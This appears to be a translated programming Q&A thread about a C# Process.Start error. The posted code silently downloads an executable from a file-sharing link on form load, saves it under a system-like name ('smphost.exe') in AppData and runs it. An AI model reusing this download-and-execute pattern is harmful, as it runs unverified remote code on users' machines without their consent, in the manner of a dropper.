正如你可以看到下面我正在下載一個文件,並打開它,一旦我的主應用程序已加載,我下載的這個應用程序是一個後臺應用程序,可以幫助主應用程序。文件無法打開,因爲它的損壞或無法讀取?
當我編譯它,我收到此錯誤:
System.ComponentModel.Win32Exception: 'The file or directory is corrupted and unreadable'
上的Process.Start線發生這個錯誤。
代碼:
private void Form1_Load(object sender, EventArgs e)
{
if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + _appDataFolder))
{
Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"/" + _appDataFolder);
}
WebClient webClient = new WebClient();
webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(Completed);
webClient.DownloadFileAsync(new Uri(
"https://fs03n3.sendspace.com/dl/021593313c2769e2f3bb14b965ebe933/59770ba30a083303/3tpj8o/dl.exe"),
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"/" + _appDataFolder + "/smphost.exe");
}
private void Completed(object sender, AsyncCompletedEventArgs e)
{
var path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"/" + _appDataFolder + "/smphost.exe";
if (!File.Exists(path))
{
return;
}
Process.Start(path);
}
您可以手動啓動下載的可執行文件嗎? –
爲什麼這個問題用C++標記,如果沒有C++代碼? –
@RomanoZumbé顯然不是,如果這是我的情況。我標記了C++,因爲我認爲這可能是一個普遍問題,不僅僅是C#,而是Windows中的其他編程語言。 – Beefo